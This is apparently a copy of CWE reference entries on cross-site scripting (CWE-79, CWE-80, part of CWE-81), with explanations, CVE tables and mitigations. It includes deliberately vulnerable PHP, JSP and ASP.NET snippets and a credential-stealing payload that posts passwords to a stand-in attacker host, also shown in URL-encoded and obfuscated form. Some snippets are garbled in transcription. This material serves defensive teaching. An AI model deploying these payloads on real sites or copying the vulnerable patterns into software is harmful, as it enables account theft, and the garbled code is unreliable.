1. Untrusted data enters a web application, typically from a web request.
2. The web application dynamically generates a web page that contains this untrusted data.
3. During page generation, the application does not prevent the data from containing content that is executable by a web browser, such as JavaScript, HTML tags, HTML attributes, mouse events, Flash, ActiveX, etc.
4. A victim visits the generated web page through a web browser, which contains malicious script that was injected using the untrusted data.
5. Since the script comes from a web page that was sent by the web server, the victim's web browser executes the malicious script in the context of the web server's domain.
6. This effectively violates the intention of the web browser's same-origin policy, which states that scripts in one domain should not be able to access resources or run code in a different domain.

There are three main kinds of XSS:
The server reads data directly from the HTTP request and reflects it back in the HTTP response. Reflected XSS exploits occur when an attacker causes a victim to supply dangerous content to a vulnerable web application, which is then reflected back to the victim and executed by the web browser. The most common mechanism for delivering malicious content is to include it as a parameter in a URL that is posted publicly or e-mailed directly to the victim. URLs constructed in this manner constitute the core of many phishing schemes, whereby an attacker convinces a victim to visit a URL that refers to a vulnerable site. After the site reflects the attacker's content back to the victim, the content is executed by the victim's browser.

The application stores dangerous data in a database, message forum, visitor log, or other trusted data store. At a later time, the dangerous data is subsequently read back into the application and included in dynamic content. From an attacker's perspective, the optimal place to inject malicious content is in an area that is displayed to either many users or particularly interesting users. Interesting users typically have elevated privileges in the application or interact with sensitive data that is valuable to the attacker. If one of these users executes malicious content, the attacker may be able to perform privileged operations on behalf of the user or gain access to sensitive data belonging to the user. For example, the attacker might inject XSS into a log message, which might not be handled properly when an administrator views the logs.

In DOM-based XSS, the client performs the injection of XSS into the page; in the other types, the server performs the injection. DOM-based XSS generally involves server-controlled, trusted script that is sent to the client, such as Javascript that performs sanity checks on a form before the user submits it. If the server-supplied script processes user-supplied data and then injects it back into the web page (such as with dynamic HTML), then DOM-based XSS is possible. Once the malicious script is injected, the attacker can perform a variety of malicious activities. The attacker could transfer private information, such as cookies that may include session information, from the victim's machine to the attacker. The attacker could send malicious requests to a web site on behalf of the victim, which could be especially dangerous to the site if the victim has administrator privileges to manage that site. Phishing attacks could be used to emulate trusted web sites and trick the victim into entering a password, allowing the attacker to compromise the victim's account on that web site. Finally, the script could exploit a vulnerability in the web browser itself possibly taking over the victim's machine, sometimes referred to as "drive-by hacking."

In many cases, the attack can be launched without the victim even being aware of it. Even with careful users, attackers frequently use a variety of methods to encode the malicious portion of the attack, such as URL encoding or Unicode, so the request looks less suspicious.

**Alternate Terms**

**XSS**

**CSS**

"CSS" was once used as the acronym for this problem, but this could cause confusion with "Cascading Style Sheets," so usage of this acronym has declined significantly.

**Time of Introduction**

- Architecture and Design
- Implementation

**Applicable Platforms**

**Languages**

- Language-independent

**Architectural Paradigms**

- Web-based *(Often)*

**Technology Classes**

- Web-Server *(Often)*

**Platform Notes**

**Common Consequences**
CWE Version 2.11
CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Access Control
Confidentiality
Bypass protection mechanism
Read application data
The most common attack performed with cross-site scripting involves the disclosure of information stored in user cookies. Typically, a malicious user will craft a client-side script, which -- when parsed by a web browser -- performs some activity (such as sending all site cookies to a given E-mail address). This script will be loaded and run by each user visiting the web site. Since the site requesting to run the script has access to the cookies in question, the malicious script does also.

Integrity
Confidentiality
Availability
Execute unauthorized code or commands
In some circumstances it may be possible to run arbitrary code on a victim's computer when cross-site scripting is combined with other flaws.

Confidentiality
Integrity
Availability
Access Control
Execute unauthorized code or commands
Bypass protection mechanism
Read application data
The consequence of an XSS attack is the same regardless of whether it is stored or reflected. The difference is in how the payload arrives at the server.

XSS can cause a variety of problems for the end user that range in severity from an annoyance to complete account compromise. Some cross-site scripting vulnerabilities can be exploited to manipulate or steal cookies, create requests that can be mistaken for those of a valid user, compromise confidential information, or execute malicious code on the end user systems for a variety of nefarious purposes. Other damaging attacks include the disclosure of end user files, installation of Trojan horse programs, redirecting the user to some other page or site, running "Active X" controls (under Microsoft Internet Explorer) from sites that a user perceives as trustworthy, and modifying presentation of content.

Likelihood of Exploit
High to Very High

Enabling Factors for Exploitation
Cross-site scripting attacks may occur anywhere that possibly malicious users are allowed to post unregulated material to a trusted web site for the consumption of other valid users, commonly on places such as bulletin-board web sites which provide web based mailing list-style functionality.

Stored XSS got its start with web sites that offered a "guestbook" to visitors. Attackers would include JavaScript in their guestbook entries, and all subsequent visitors to the guestbook page would execute the malicious code. As the examples demonstrate, XSS vulnerabilities are caused by code that includes unvalidated data in an HTTP response.

Detection Methods
Automated Static Analysis
Moderate
Use automated static analysis tools that target this type of weakness. Many modern techniques use data flow analysis to minimize the number of false positives. This is not a perfect solution, since 100% accuracy and coverage are not feasible, especially when multiple components are involved.
Black Box
Moderate
Use the XSS Cheat Sheet [R.79.6] or automated test-generation tools to help launch a wide variety of attacks against your web application. The Cheat Sheet contains many subtle XSS variations that are specifically targeted against weak XSS defenses.

With Stored XSS, the indirection caused by the data store can make it more difficult to find the problem. The tester must first inject the XSS string into the data store, then find the appropriate application functionality in which the XSS string is sent to other users of the application. These are two distinct steps in which the activation of the XSS can take place minutes, hours, or days after the XSS was originally injected into the data store.

Demonstrative Examples

Example 1:
This code displays a welcome message on a web page based on the HTTP GET username parameter. This example covers a Reflected XSS (Type 1) scenario.

**PHP Example:**

```php
$username = $_GET['username'];
echo '<div class="header"> Welcome, ' . $username . '</div>;
```

Because the parameter can be arbitrary, the url of the page could be modified so $username contains scripting syntax, such as

```
http://trustedSite.example.com/welcome.php?username=<Script Language="Javascript">alert("You've been attacked!");</Script>
```

This results in a harmless alert dialogue popping up. Initially this might not appear to be much of a vulnerability. After all, why would someone enter a URL that causes malicious code to run on their own computer? The real danger is that an attacker will create the malicious URL, then use e-mail or social engineering tricks to lure victims into visiting a link to the URL. When victims click the link, they unwittingly reflect the malicious content through the vulnerable web application back to their own computers.

More realistically, the attacker can embed a fake login box on the page, tricking the user into sending his password to the attacker:

```
<br/>
Password: <input type="password" name="password" />
<input type="submit" value="Login" /></form></div>
```

If a user clicks on this link then Welcome.php will generate the following HTML and send it to the user's browser:

```
<div class="header"> Welcome,
<br/>
Please Login:<form name="input" action="attack.example.com/stealPassword.php" method="post">
Username: <input type="text" name="username" />
<br/>
Password: <input type="password" name="password" />
<input type="submit" value="Login" />
</form>
</div>
```

The trustworthy domain of the URL may falsely assure the user that it is OK to follow the link. However, an astute user may notice the suspicious text appended to the URL. An attacker may further obfuscate the URL (the following example links are broken into multiple lines for readability):

```
trustedSite.example.com/welcome.php?username=%3Cdiv+id%3D%22
```
CWE Version 2.11
CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

stealPassword%22%3EPlease+Login%3A%3Cform+name%3D%22input
%22+action%3D%22http%3A%2F%2Fattack.example.com%2FstealPassword.php
%22+method%3D%22post%22+%3EUsername%3A+%3Cinput+type%3D%22text
%22+name%3D%22username%22+%2F%3E%3Cbr%3EPassword%3A
%3Cinput+type%3D%22password%22+name%3D%22password%22
%2F%3E%3Cinput+type%3D%22submit%22+value%3D%22Login%22
%2F%3E%3C%2Fform%3E%3C%2Fdiv%0D%0A
The same attack string could also be obfuscated as:

trustedSite.example.com/welcome.php?username=<script+type="text/javascript">
document.write('<div id="s
\u0074\u0065\u0061\u006C\u0050\u0061\u0073\u0077\u006F\u0072\u0064
\u0022\u003E\u0050\u006C\u0061\u0073\u0065\u0020\u004C\u006F\u0067
\u0069\u006E\u003A\u003C\u0066\u006F\u0072\u006D\u0020\u006E\0061\u006D
\u0065\u003D\0022\0069\006E\0070\0075\0074\0022\0020\0061\0063
\u0074\0069\006F\006E\003D\0022\0068\0074\0074\0070\003A\002F\002F
\0061\0074\0074\0061\0063\006B\002E\0065\0078\0061\006D
\0070\0022\0020\006D\0065\0074\0068\006F\0064\003D\0022\0070
\006F\0074\0022\u003E\u0055\u0073\u0065\u0072\u006E\0061\u006D
\u0065\u003A\0020\003C\0069\006E\0070\0075\0074\0020\0074\0079
\0070\0065\u003D\0022\0073\0075\0062\006D\0022\0020\0076\0061\006C
\u0075\u0065\u003D\0022\004L\006F\0067\0069\006E\0022\002F
\003E\003C\002F\0064\0069\0076\000D);</script>

Both of these attack links will result in the fake login box appearing on the page, and users are
more likely to ignore indecipherable text at the end of URLs.

Example 2:
This example also displays a Reflected XSS (Type 1) scenario.
The following JSP code segment reads an employee ID, eid, from an HTTP request and displays it
to the user.

JSP Example:

```jsp
<% String eid = request.getParameter("eid"); %>
...
Employee ID: <%= eid %>
```

The following ASP.NET code segment reads an employee ID number from an HTTP request and
displays it to the user.

ASP.NET Example:

```csharp
protected System.Web.UI.WebControls.TextBox Login;  
protected System.Web.UI.WebControls.Label EmployeeID;  
...
EmployeeID.Text = Login.Text;  
... (HTML follows)  
</p><asp:label id="EmployeeID" runat="server" /></p>
```

The code in this example operates correctly if the Employee ID variable contains only standard
alphanumeric text. If it has a value that includes meta-characters or source code, then the code will
be executed by the web browser as it displays the HTTP response.

Example 3:
This example covers a Stored XSS (Type 2) scenario.
The following JSP code segment queries a database for an employee with a given ID and prints the corresponding employee's name.

**JSP Example:**

```jsp
<%
... 
Statement stmt = conn.createStatement();
ResultSet rs = stmt.executeQuery("select * from emp where id="+eid);
if (rs != null) {
    rs.next();
    String name = rs.getString("name");
%>
Employee Name: <%= name %>
```

The following ASP.NET code segment queries a database for an employee with a given employee ID and prints the name corresponding with the ID.

**ASP.NET Example:**

```csharp
protected System.Web.UI.WebControls.Label EmployeeName;
...
string query = "select * from emp where id=" + eid;
sda = new SqlDataAdapter(query, conn);
sda.Fill(dt);
string name = dt.Rows[0]["Name"]; 
... 
EmployeeName.Text = name;
```

This code can appear less dangerous because the value of name is read from a database, whose contents are apparently managed by the application. However, if the value of name originates from user-supplied data, then the database can be a conduit for malicious content. Without proper input validation on all data stored in the database, an attacker can execute malicious commands in the user's web browser.

**Example 4:**

The following example consists of two separate pages in a web application, one devoted to creating user accounts and another devoted to listing active users currently logged in. It also displays a Stored XSS (Type 2) scenario.

**CreateUser.php**

```php
$username = mysql_real_escape_string($username);
$fullName = mysql_real_escape_string($fullName);
$全民名 = sprintf('Insert Into users (username,password) Values ("%s",%s,"%s")', $username, crypt($password), $FullName) ;
mysql_query($query);
/.../
```

The code is careful to avoid a SQL injection attack (CWE-89) but does not stop valid HTML from being stored in the database. This can be exploited later when ListUsers.php retrieves the information:

**ListUsers.php**

```php
//Print list of users to page
echo "<div id="userlist">Currently Active Users:";
if (!$results) {
    exit;
}
//Print list of users to page
echo "<div id="userlist">Currently Active Users:";
while ($row = mysql_fetch_assoc($results)) {
    echo "<div class="userNames">".$row['fullname']."</div>";
} 
echo "</div>";
```
The attacker can set his name to be arbitrary HTML, which will then be displayed to all visitors of
the Active Users page. This HTML can, for example, be a password stealing Login message.

### Observed Examples

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2006-3211</td>
<td>Stored XSS in a guestbook application using a javascript: URI in a bbcode img tag.</td>
</tr>
<tr>
<td>CVE-2006-3295</td>
<td>Chain: library file is not protected against a direct request (CWE-425), leading to reflected XSS.</td>
</tr>
<tr>
<td>CVE-2006-3568</td>
<td>Stored XSS in a guestbook application.</td>
</tr>
<tr>
<td>CVE-2006-4308</td>
<td>Chain: only checks &quot;javascript:&quot; tag</td>
</tr>
<tr>
<td>CVE-2007-5727</td>
<td>Chain: only removes SCRIPT tags, enabling XSS</td>
</tr>
<tr>
<td>CVE-2008-0971</td>
<td>Stored XSS in a security product.</td>
</tr>
<tr>
<td>CVE-2008-4730</td>
<td>Reflected XSS not properly handled when generating an error message</td>
</tr>
<tr>
<td>CVE-2008-5080</td>
<td>Chain: protection mechanism failure allows XSS</td>
</tr>
<tr>
<td>CVE-2008-5249</td>
<td>Stored XSS using a wiki page.</td>
</tr>
<tr>
<td>CVE-2008-5734</td>
<td>Reflected XSS sent through email message.</td>
</tr>
<tr>
<td>CVE-2008-5770</td>
<td>Reflected XSS using the PATH_INFO in a URL</td>
</tr>
</tbody>
</table>

### Potential Mitigations

#### Architecture and Design

##### Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

Examples of libraries and frameworks that make it easier to generate properly encoded output include Microsoft’s Anti-XSS library, the OWASP ESAPI Encoding module, and Apache Wicket.

#### Implementation

##### Architecture and Design

Understand the context in which your data will be used and the encoding that will be expected. This is especially important when transmitting data between different components, or when generating outputs that can contain multiple encodings at the same time, such as web pages or multi-part mail messages. Study all expected communication protocols and data representations to determine the required encoding strategies.

For any data that will be output to another web page, especially any data that was received from external inputs, use the appropriate encoding on all non-alphanumeric characters.

Parts of the same output document may require different encodings, which will vary depending on whether the output is in the:

- HTML body
- Element attributes (such as src="XYZ")
- URIs
- JavaScript sections
- Cascading Style Sheets and style property
- etc. Note that HTML Entity Encoding is only appropriate for the HTML body.

Consult the XSS Prevention Cheat Sheet [R.79.16] for more details on the types of encoding and escaping that are needed.

##### Implementing Architecture and Design

**Identify and Reduce Attack Surface**

**Limited**

Understand all the potential areas where untrusted inputs can enter your software: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, filenames, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls.

This technique has limited effectiveness, but can be helpful when it is possible to store client state and sensitive information on the server side instead of in cookies, headers, hidden form fields, etc.
Architecture and Design
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Architecture and Design
Parameterization
If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated.

Implementation
Output Encoding
Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component.

The problem of inconsistent output encodings often arises in web pages. If an encoding is not specified in an HTTP header, web browsers often guess about which encoding is being used. This can open up the browser to subtle XSS attacks.

Implementation
With Struts, write all data from form beans with the bean’s filter attribute set to true.

Implementation
Identify and Reduce Attack Surface
Defense in Depth
To help mitigate XSS attacks against the user’s session cookie, set the session cookie to be HttpOnly. In browsers that support the HttpOnly feature (such as more recent versions of Internet Explorer and Firefox), this attribute can prevent the user’s session cookie from being accessible to malicious client-side scripts that use document.cookie. This is not a complete solution, since HttpOnly is not supported by all browsers. More importantly, XMLHttpRequest and other powerful browser technologies provide read access to HTTP headers, including the Set-Cookie header in which the HttpOnly flag is set.
Implementation

Input Validation
Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code’s environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

When dynamically constructing web pages, use stringent whitelists that limit the character set based on the expected value of the parameter in the request. All input should be validated and cleansed, not just parameters that the user is supposed to specify, but all data in the request, including hidden fields, cookies, headers, the URL itself, and so forth. A common mistake that leads to continuing XSS vulnerabilities is to validate only fields that are expected to be redisplayed by the site. It is common to see data from the request that is reflected by the application server or the application that the development team did not anticipate. Also, a field that is not currently reflected may be used by a future developer. Therefore, validating ALL parts of the HTTP request is recommended.

Note that proper output encoding, escaping, and quoting is the most effective solution for preventing XSS, although input validation may provide some defense-in-depth. This is because it effectively limits what will appear in output. Input validation will not always prevent XSS, especially if you are required to support free-form text fields that could contain arbitrary characters. For example, in a chat application, the heart emoticon ("<3") would likely pass the validation step, since it is commonly used. However, it cannot be directly inserted into the web page because it contains the "<" character, which would need to be escaped or otherwise handled. In this case, stripping the "<" character might reduce the risk of XSS, but it would produce incorrect behavior because the emoticon would not be recorded. This might seem to be a minor inconvenience, but it would be more important in a mathematical forum that wants to represent inequalities.

Even if you make a mistake in your validation (such as forgetting one out of 100 input fields), appropriate encoding is still likely to protect you from injection-based attacks. As long as it is not done in isolation, input validation is still a useful technique, since it may significantly reduce your attack surface, allow you to detect some attacks, and provide other security benefits that proper encoding does not address.

Ensure that you perform input validation at well-defined interfaces within the application. This will help protect the application even if a component is reused or moved elsewhere.

Architecture and Design
Enforcement by Conversion
When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
**Operation**

**Firewall**

**Moderate**

Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth.

An application firewall might not cover all possible input vectors. In addition, attack techniques might be available to bypass the protection mechanism, such as using malformed inputs that can still be processed by the component that receives those inputs. Depending on functionality, an application firewall might inadvertently reject or modify legitimate requests. Finally, some manual effort may be required for customization.

**Operation**

**Implementation**

**Environment Hardening**

When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.

**Background Details**

The same origin policy states that browsers should limit the resources accessible to scripts running on a given web site, or "origin", to the resources associated with that web site on the client-side, and not the client-side resources of any other sites or "origins". The goal is to prevent one site from being able to modify or read the contents of an unrelated site. Since the World Wide Web involves interactions between many sites, this policy is important for browsers to enforce.

The Domain of a website when referring to XSS is roughly equivalent to the resources associated with that website on the client-side of the connection. That is, the domain can be thought of as all resources the browser is storing for the user's interactions with this particular site.

**Weakness Ordinalities**

**Resultant** (where the weakness is typically related to the presence of some other weaknesses)

**Relationships**

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>🍃</td>
<td>74</td>
<td>Improper Neutralization of Special Elements in Output Used by a Downstream Component (Injection)</td>
<td>699</td>
</tr>
<tr>
<td>PeerOf</td>
<td>🍃</td>
<td>352</td>
<td>Cross-Site Request Forgery (CSRF)</td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td>🍃</td>
<td>442</td>
<td>Web Problems</td>
<td>699</td>
</tr>
<tr>
<td>CanPrecede</td>
<td>🍃</td>
<td>494</td>
<td>Download of Code Without Integrity Check</td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td>🍃</td>
<td>712</td>
<td>OWASP Top Ten 2007 Category A1 - Cross Site Scripting (XSS)</td>
<td>629</td>
</tr>
<tr>
<td>ChildOf</td>
<td>🍃</td>
<td>722</td>
<td>OWASP Top Ten 2004 Category A1 - Unvalidated Input</td>
<td>711</td>
</tr>
<tr>
<td>ChildOf</td>
<td>🍃</td>
<td>725</td>
<td>OWASP Top Ten 2004 Category A4 - Cross-Site Scripting (XSS) Flaws</td>
<td>711</td>
</tr>
<tr>
<td>ChildOf</td>
<td>🍃</td>
<td>751</td>
<td>2009 Top 25 - Insecure Interaction Between Components</td>
<td>750</td>
</tr>
<tr>
<td>ChildOf</td>
<td>🍃</td>
<td>801</td>
<td>2010 Top 25 - Insecure Interaction Between Components</td>
<td>800</td>
</tr>
<tr>
<td>ChildOf</td>
<td>🍃</td>
<td>811</td>
<td>OWASP Top Ten 2010 Category A2 - Cross-Site Scripting (XSS)</td>
<td>809</td>
</tr>
<tr>
<td>ChildOf</td>
<td>🍃</td>
<td>864</td>
<td>2011 Top 25 - Insecure Interaction Between Components</td>
<td>900</td>
</tr>
<tr>
<td>ChildOf</td>
<td>🍃</td>
<td>931</td>
<td>OWASP Top Ten 2013 Category A3 - Cross-Site Scripting (XSS)</td>
<td>928</td>
</tr>
<tr>
<td>ChildOf</td>
<td>🍃</td>
<td>990</td>
<td>SFP Secondary Cluster: Tainted Input to Command</td>
<td>888</td>
</tr>
<tr>
<td>ChildOf</td>
<td>🍃</td>
<td>1005</td>
<td>Input Validation and Representation</td>
<td>700</td>
</tr>
<tr>
<td>ParentOf</td>
<td>🍃</td>
<td>80</td>
<td>Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS)</td>
<td>699</td>
</tr>
<tr>
<td></td>
<td>🍃</td>
<td>1000</td>
<td></td>
<td>1000</td>
</tr>
</tbody>
</table>
CWE-79: Improper Neutralization of Input During Web Page Generation (‘Cross-site Scripting’)

Nature | Type | ID | Name | Page
--- | --- | --- | --- | ---
ParentOf | 81 | Improper Neutralization of Script in an Error Message Web Page | 699 1000 | 144
ParentOf | 83 | Improper Neutralization of Script in Attributes in a Web Page | 699 1000 | 147
ParentOf | 84 | Improper Neutralization of Encoded URI Schemes in a Web Page | 699 1000 | 149
ParentOf | 85 | Doubled Character XSS Manipulations | 699 1000 | 151
ParentOf | 86 | Improper Neutralization of Invalid Characters in Identifiers in Web Pages | 699 1000 | 152
ParentOf | 87 | Improper Neutralization of Alternate XSS Syntax | 699 1000 | 153
CanFollow | 113 | Improper Neutralization of CRLF Sequences in HTTP Headers (‘HTTP Response Splitting’) | 1000 | 211
CanFollow | 184 | Incomplete Blacklist | 1000 692 352
MemberOf | 635 | Weaknesses Used by NVD | 635 985 | 884
MemberOf | 884 | CWE Cross-section | 884 1323 | 1323

Causal Nature
Explicit (an explicit weakness resulting from behavior of the developer)

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Fit</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td></td>
<td></td>
<td>Cross-site scripting (XSS)</td>
</tr>
<tr>
<td>7 Pernicious Kingdoms</td>
<td></td>
<td></td>
<td>Cross-site Scripting</td>
</tr>
<tr>
<td>CLASP</td>
<td></td>
<td></td>
<td>Cross-site scripting</td>
</tr>
<tr>
<td>OWASP Top Ten 2007</td>
<td>A1</td>
<td>Exact</td>
<td>Cross Site Scripting (XSS)</td>
</tr>
<tr>
<td>OWASP Top Ten 2004</td>
<td>A1</td>
<td>CWE More Specific</td>
<td>Unvalidated Input</td>
</tr>
<tr>
<td>OWASP Top Ten 2004</td>
<td>A4</td>
<td>Exact</td>
<td>Cross-Site Scripting (XSS) Flaws</td>
</tr>
<tr>
<td>WASC</td>
<td>8</td>
<td></td>
<td>Cross-site Scripting</td>
</tr>
<tr>
<td>Software Fault Patterns</td>
<td>SFP24</td>
<td></td>
<td>Tainted input to command</td>
</tr>
</tbody>
</table>

Related Attack Patterns

<table>
<thead>
<tr>
<th>CAPEC-ID</th>
<th>Attack Pattern Name</th>
<th>(CAPEC Version 2.10)</th>
</tr>
</thead>
<tbody>
<tr>
<td>63</td>
<td>Cross-Site Scripting (XSS)</td>
<td></td>
</tr>
<tr>
<td>85</td>
<td>AJAX Fingerprinting</td>
<td></td>
</tr>
<tr>
<td>209</td>
<td>XSS Using MIME Type Mismatch</td>
<td></td>
</tr>
<tr>
<td>588</td>
<td>DOM-Based XSS</td>
<td></td>
</tr>
<tr>
<td>591</td>
<td>Reflected XSS</td>
<td></td>
</tr>
<tr>
<td>592</td>
<td>Stored XSS</td>
<td></td>
</tr>
</tbody>
</table>

References

CWE-80: Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS)

Description

Summary

The software receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special characters such as "<", ">"., and "&" that could be interpreted as web-scripting elements when they are sent to a downstream component that processes web pages.

Extended Description

This may allow such characters to be treated as control characters, which are executed client-side in the context of the user's session. Although this can be classified as an injection problem, the more pertinent issue is the improper conversion of such special characters to respective context-appropriate entities before displaying them to the user.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- All

Common Consequences

Confidentiality

Integrity

Availability

Read application data

Execute unauthorized code or commands

Likelihood of Exploit

High to Very High

Demonstrative Examples

In the following example, a guestbook comment isn't properly encoded, filtered, or otherwise neutralized for script-related tags before being displayed in a client browser.
CWE Version 2.11
CWE-80: Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS)

**JSP Example:**

```jsp
<% for (Iterator i = guestbook.iterator(); i.hasNext(); ) {
   Entry e = (Entry) i.next(); %>
   <p>Entry #<%= e.getId() %></p>
   <p><%= e.getText() %></p>
<% }
```

**Observed Examples**

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2002-0938</td>
<td>XSS in parameter in a link.</td>
</tr>
<tr>
<td>CVE-2002-1495</td>
<td>XSS in web-based email product via attachment filenames.</td>
</tr>
<tr>
<td>CVE-2003-1136</td>
<td>HTML injection in posted message.</td>
</tr>
<tr>
<td>CVE-2004-2171</td>
<td>XSS not quoted in error page.</td>
</tr>
</tbody>
</table>

**Potential Mitigations**

**Implementation**

Carefully check each input parameter against a rigorous positive specification (whitelist) defining the specific characters and format allowed. All input should be neutralized, not just parameters that the user is supposed to specify, but all data in the request, including hidden fields, cookies, headers, the URL itself, and so forth. A common mistake that leads to continuing XSS vulnerabilities is to validate only fields that are expected to be redisplayed by the site. We often encounter data from the request that is reflected by the application server or the application that the development team did not anticipate. Also, a field that is not currently reflected may be used by a future developer. Therefore, validating ALL parts of the HTTP request is recommended.

**Implementation**

**Output Encoding**

Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component.

The problem of inconsistent output encodings often arises in web pages. If an encoding is not specified in an HTTP header, web browsers often guess about which encoding is being used. This can open up the browser to subtle XSS attacks.

**Implementation**

With Struts, write all data from form beans with the bean's filter attribute set to true.

**Implementation**

**Identify and Reduce Attack Surface**

**Defense in Depth**

To help mitigate XSS attacks against the user's session cookie, set the session cookie to be HttpOnly. In browsers that support the HttpOnly feature (such as more recent versions of Internet Explorer and Firefox), this attribute can prevent the user's session cookie from being accessible to malicious client-side scripts that use document.cookie. This is not a complete solution, since HttpOnly is not supported by all browsers. More importantly, XMLHttpRequest and other powerful browser technologies provide read access to HTTP headers, including the Set-Cookie header in which the HttpOnly flag is set.

**Weakness Ordinalities**

**Primary** *(where the weakness exists independent of other weaknesses)*

**Relationships**
CWE-81: Improper Neutralization of Script in an Error Message Web Page

Causal Nature
Explicit (an explicit weakness resulting from behavior of the developer)

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Software Fault Patterns</td>
<td>SFP24</td>
<td>Tainted input to command</td>
</tr>
</tbody>
</table>

Related Attack Patterns

<table>
<thead>
<tr>
<th>CAPEC-ID</th>
<th>Attack Pattern Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>18</td>
<td>XSS Targeting Non-Script Elements</td>
</tr>
<tr>
<td>32</td>
<td>XSS Through HTTP Query Strings</td>
</tr>
<tr>
<td>86</td>
<td>XSS Through HTTP Headers</td>
</tr>
<tr>
<td>193</td>
<td>PHP Remote File Inclusion</td>
</tr>
</tbody>
</table>

White Box Definitions
A weakness where the code path has:
1. start statement that accepts input from HTML page
2. end statement that publishes a data item to HTML where
   a. the input is part of the data item and
   b. the input contains XSS syntax

CWE-81: Improper Neutralization of Script in an Error Message Web Page

Weakness ID: 81 (Weakness Variant) Status: Incomplete

Description

Summary
The software receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special characters that could be interpreted as web-scripting elements when they are sent to an error page.

Extended Description
Error pages may include customized 403 Forbidden or 404 Not Found pages. When an attacker can trigger an error that contains unneutralized input, then cross-site scripting attacks may be possible.

Time of Introduction
• Implementation
• Operation

Applicable Platforms

Languages
• All

Common Consequences
Confidentiality
Integrity
Availability
Read application data
Execute unauthorized code or commands

Observed Examples

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2002-0840</td>
<td>XSS in default error page from Host: header.</td>
</tr>
<tr>
<td>CVE-2002-1053</td>
<td>XSS in error message.</td>
</tr>
</tbody>
</table>
### CWE-81: Improper Neutralization of Script in an Error Message Web Page

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2002-1700</td>
<td>XSS in error page from targeted parameter.</td>
</tr>
</tbody>
</table>

### Potential Mitigations

**Implementation**

Do not write user-controlled input to error pages.

**Implementation**

Carefully check each input parameter against a rigorous positive specification (whitelist) defining the specific characters and format allowed. All input should be neutralized, not just parameters that the user is supposed to specify, but all data in the request, including hidden fields, cookies, headers, the URL itself, and so forth. A common mistake that leads to continuing XSS vulnerabilities is to validate only fields that are expected to be redisplayed by the site. We often encounter data from the request that is reflected by the application server or the application that the development team did not anticipate. Also, a field that is not currently reflected may be used by a future developer. Therefore, validating ALL parts of the HTTP request is recommended.

**Implementation**

**Output Encoding**

